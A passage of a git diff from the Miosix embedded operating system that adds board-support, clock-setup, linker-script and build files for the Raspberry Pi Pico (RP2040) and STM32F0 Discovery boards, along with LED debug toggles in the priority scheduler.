b203c7aa..323d806d 100644 +--- a/miosix/kernel/scheduler/priority/priority_scheduler.cpp ++++ b/miosix/kernel/scheduler/priority/priority_scheduler.cpp +@@ -34,6 +34,10 @@ + #include "kernel/cpu_time_counter.h" + #include + ++#include "interfaces/gpio.h" ++using greenLed = miosix::Gpio; ++using yellowLed = miosix::Gpio; ++ + using namespace std; + + #ifdef SCHED_TYPE_PRIORITY +@@ -128,6 +132,9 @@ void PriorityScheduler::IRQsetIdleThread(int whichCore, Thread *idleThread) + idleThread->schedData.priority=-1; + idleThread->savedPriority=-1; + idle[whichCore]=idleThread; ++ ++ greenLed::mode(Mode::OUTPUT); ++ yellowLed::mode(Mode::OUTPUT); + } + + void PriorityScheduler::IRQwokenThread(Thread* thread) +@@ -330,6 +337,7 @@ void PriorityScheduler::IRQrunScheduler() + } + #endif //WITH_THREAD_AFFINITY + #endif //WITH_SMP ++ if(coreId==0) greenLed::high(); else yellowLed::high(); + return; + } + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) +@@ -350,6 +358,7 @@ void PriorityScheduler::IRQrunScheduler() + auto now=Scheduler::IRQcomputePreemption(coreId,0); + CPUTimeCounter::IRQprofileContextSwitch(prev,idle[coreId],now,coreId); + #endif //WITH_CPU_TIME_COUNTER ++ if(coreId==0) greenLed::low(); else yellowLed::low(); + } + + IntrusiveList PriorityScheduler::readyThreads[NUM_PRIORITIES]; diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/interfaces-impl/bsp.cpp b/miosix/arch/board/rp2040_raspberry_pi_pico/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..f7f7a4870 --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/interfaces-impl/bsp.cpp @@ -0,0 +1,179 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces_private/smp.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" +#include "drivers/spi/rp2040_spi.h" +#include "drivers/spi/sw_spi.h" +#include "drivers/sdmmc/spi_sd.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + // Update SystemCoreClock + SystemCoreClock = cpuFrequency; + + //Enable all gpios + unreset_block_wait(RESETS_RESET_PADS_BANK0_BITS | RESETS_RESET_IO_BANK0_BITS); + sio_hw->gpio_oe_set = SIO_GPIO_OE_SET_BITS; + //Initialize GPIO functions + for(unsigned int i=0; iio[i].ctrl=toUint(Function::GPIO); + + //Blink the LED, but only on standard pico (not Pico W) + #ifdef PICO_DEFAULT_LED_PIN + led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + #endif + + IRQsetDefaultConsole( + RP2040SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + if(!enableSdCard) + { + basicFilesystemSetup(intrusive_ref_ptr()); + } else { + if(defaultSdCardDriver==SdCardDriverType::Dma) + { + auto spi=new RP2040PL022DmaSpi( + defaultSdCardSPI,100*1000,false,false, + defaultSdCardSPISiPin::getPin(), + defaultSdCardSPISoPin::getPin(), + defaultSdCardSPISckPin::getPin(), + GpioPin()); + auto sd=new SPISD( + std::unique_ptr(spi), + defaultSdCardSPICsPin::getPin()); + basicFilesystemSetup(intrusive_ref_ptr>(sd)); + } else if(defaultSdCardDriver==SdCardDriverType::NoDma) { + auto spi=new RP2040PL022Spi( + defaultSdCardSPI,100*1000,false,false, + defaultSdCardSPISiPin::getPin(), + defaultSdCardSPISoPin::getPin(), + defaultSdCardSPISckPin::getPin(), + GpioPin()); + auto sd=new SPISD( + std::unique_ptr(spi), + defaultSdCardSPICsPin::getPin()); + basicFilesystemSetup(intrusive_ref_ptr>(sd)); + } else { // SdCardDriverType::Software + using SPIType=SwSPI; + auto spi=new SPIType(100*1000); + auto sd=new SPISD( + std::unique_ptr(spi), + defaultSdCardSPICsPin::getPin()); + basicFilesystemSetup(intrusive_ref_ptr>(sd)); + } + } + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + // Everybody, go to sleep! + clocks_hw->sleep_en0=0; + clocks_hw->sleep_en1=0; + #ifdef WITH_SMP + IRQlockupOtherCores(); + #endif + FastGlobalLockFromIrq::unlock(); + for(;;) __WFE(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/interfaces-impl/bsp_impl.h b/miosix/arch/board/rp2040_raspberry_pi_pico/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..a888902d9 --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/interfaces-impl/bsp_impl.h @@ -0,0 +1,84 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + + +#ifdef PICO_DEFAULT_LED_PIN +/** + * \internal + * used by the ledOn() and ledOff() implementation + * \note Doesn't work on Pico W, as the LED is controlled by the WiFi chip. + */ +using led = Gpio; +#endif + +/** + * Turn on the board LED. + * \note Doesn't work on Pico W, as the LED is controlled by the WiFi chip. + */ +inline void ledOn() +{ +#ifdef PICO_DEFAULT_LED_PIN + led::high(); +#endif +} + +/** + * Turn off the board LED. + * \note Doesn't work on Pico W, as the LED is controlled by the WiFi chip. + */ +inline void ledOff() +{ +#ifdef PICO_DEFAULT_LED_PIN + led::low(); +#endif +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/openocd.cfg b/miosix/arch/board/rp2040_raspberry_pi_pico/openocd.cfg similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/openocd.cfg rename to miosix/arch/board/rp2040_raspberry_pi_pico/openocd.cfg diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/processes.ld b/miosix/arch/board/rp2040_raspberry_pi_pico/processes.ld new file mode 100644 index 000000000..387902a7d --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for RP2040 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 200K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x10000000, LENGTH = 2M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 264K +} + +INCLUDE ldscripts/miosix-flash-ram-rp2040.ld diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/unikernel.ld b/miosix/arch/board/rp2040_raspberry_pi_pico/unikernel.ld new file mode 100644 index 000000000..6fac39fee --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for RP2040 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x10000000, LENGTH = 2M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 264K +} + +INCLUDE ldscripts/miosix-flash-ram-rp2040.ld diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/CMakeLists.txt b/miosix/arch/board/stm32f030r8_stm32f0discovery/CMakeLists.txt new file mode 100644 index 000000000..b8c93734e --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f030r8_stm32f0discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f0) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_16bit_os_timer.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F030R8_DISCO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F030R8_DISCO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/Makefile.inc b/miosix/arch/board/stm32f030r8_stm32f0discovery/Makefile.inc new file mode 100644 index 000000000..50324739c --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f030r8_stm32f0discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f0 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/os_timer/stm32_16bit_os_timer.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F030R8_DISCO +BOARD_CXXFLAGS := -D_BOARD_STM32F030R8_DISCO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/boot.cpp b/miosix/arch/board/stm32f030r8_stm32f0discovery/boot.cpp new file mode 100644 index 000000000..b3c310102 --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/boot.cpp @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQsetupClockTree() +{ + static_assert(hseFrequency==8000000,"Unsupported HSE oscillator frequency"); + static_assert(cpuFrequency==32000000,"Unsupported target SYSCLK"); + + // Check if PLL is used as system clock + if ((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_PLL) + { + // Select HSI as system clock + RCC->CFGR = (RCC->CFGR & (uint32_t)~RCC_CFGR_SW) | RCC_CFGR_SW_HSI; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_HSI) {} + } + // Disable PLL + RCC->CR &= (uint32_t)~RCC_CR_PLLON; + while(RCC->CR & RCC_CR_PLLRDY) {} + + // Enable HSE with bypass + RCC->CR |= RCC_CR_HSEON | RCC_CR_HSEBYP; + while((RCC->CR & RCC_CR_HSERDY) == 0) {} + + // Set flash latency to 1 wait state + FLASH->ACR |= FLASH_ACR_LATENCY; + + // Set PLL multiplier to 12 (HSE is 8MHz, gives 96MHz) and divider by 3 + RCC->CFGR2 = RCC_CFGR2_PREDIV_DIV3; + RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLMUL)) | (RCC_CFGR_PLLMUL12); + // Set PLL source + RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLSRC)) | RCC_CFGR_PLLSRC_HSE_PREDIV; + // Enable PLL + RCC->CR |= RCC_CR_PLLON; + while ((RCC->CR & RCC_CR_PLLRDY) == 0) {} + + // Set PLL as system clock + RCC->CFGR |= RCC_CFGR_SW_PLL; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) {} +} + +void IRQmemoryAndClockInit() +{ + // For F0 microcontrollers SystemInit is basically empty, + // but we call it anyway for good measure. + SystemInit(); + IRQsetupClockTree(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..3074058f6 --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f0xx.h before core_cm0.h, there's some nasty dependency +#define STM32F030x8 +#include "CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h" +#include "CMSIS/Include/core_cm0.h" +#include "CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 28, so there are 29 +#define MIOSIX_NUM_PERIPHERAL_IRQ 29 diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..3b4d7e618 --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,117 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + SystemCoreClockUpdate(); + //Enable all gpios + RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | + RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | + RCC_AHBENR_GPIOFEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xffffffff; + GPIOC->OSPEEDR=0xffffffff; + GPIOD->OSPEEDR=0xffffffff; + GPIOF->OSPEEDR=0xffffffff; + led1::mode(Mode::OUTPUT); + led2::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..d1d862bbc --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,76 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio led1; +typedef Gpio led2; +typedef Gpio btn; + +inline void ledOn() +{ + led1::high(); +} + +inline void ledOff() +{ + led1::low(); +} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +// inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f030r8_stm32f0discovery/unikernel.ld b/miosix/arch/board/stm32f030r8_stm32f0discovery/unikernel.ld new file mode 100644 index 000000000..fd216eca3 --- /dev/null +++ b/miosix/arch/board/stm32f030r8_stm32f0discovery/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f030 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/CMakeLists.txt b/miosix/arch/board/stm32f072rb_stm32f0discovery/CMakeLists.txt new file mode 100644 index 000000000..32995243a --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f072rb_stm32f0discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f0) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F072RB_DISCO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F072RB_DISCO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/Makefile.inc b/miosix/arch/board/stm32f072rb_stm32f0discovery/Makefile.inc new file mode 100644 index 000000000..c35dd3d44 --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f072rb_stm32f0discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f0 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F072RB_DISCO +BOARD_CXXFLAGS := -D_BOARD_STM32F072RB_DISCO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/boot.cpp b/miosix/arch/board/stm32f072rb_stm32f0discovery/boot.cpp new file mode 100644 index 000000000..1ed37c5fd --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/boot.cpp @@ -0,0 +1,61 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQsetupClockTree() +{ + static_assert(oscillatorType==OscillatorType::HSI,"Unsupported clock config"); + static_assert(cpuFrequency==32000000,"Unsupported clock config"); + RCC->CR |= RCC_CR_HSION; + while((RCC->CR & RCC_CR_HSIRDY)==0) ; + RCC->CR &= ~RCC_CR_PLLON; + while(RCC->CR & RCC_CR_PLLRDY) ; + RCC->CFGR &= ~RCC_CFGR_SW; //Selects HSI + RCC->CFGR = RCC_CFGR_PLLMUL4 //4*8=32MHz + | RCC_CFGR_PLLSRC_HSI_PREDIV; + RCC->CR |= RCC_CR_PLLON; + while((RCC->CR & RCC_CR_PLLRDY)==0) ; + FLASH->ACR &= ~FLASH_ACR_LATENCY; + FLASH->ACR |= 1; //1 wait state for freq > 24MHz + RCC->CFGR |= RCC_CFGR_SW_PLL; +} + +void IRQmemoryAndClockInit() +{ + // For F0 microcontrollers SystemInit is basically empty, + // but we call it anyway for good measure. + SystemInit(); + IRQsetupClockTree(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..eebb3a9c1 --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f0xx.h before core_cm0.h, there's some nasty dependency +#define STM32F072xB +#include "CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h" +#include "CMSIS/Include/core_cm0.h" +#include "CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 31, so there are 32 +#define MIOSIX_NUM_PERIPHERAL_IRQ 32 diff --git a/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..6f898fb91 --- /dev/null +++ b/miosix/arch/board/stm32f072rb_stm32f0discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,117 @@ +/*************************************************************************** + * Copyright (C) 2018 by Silvano Seva * + * * + * This program is free 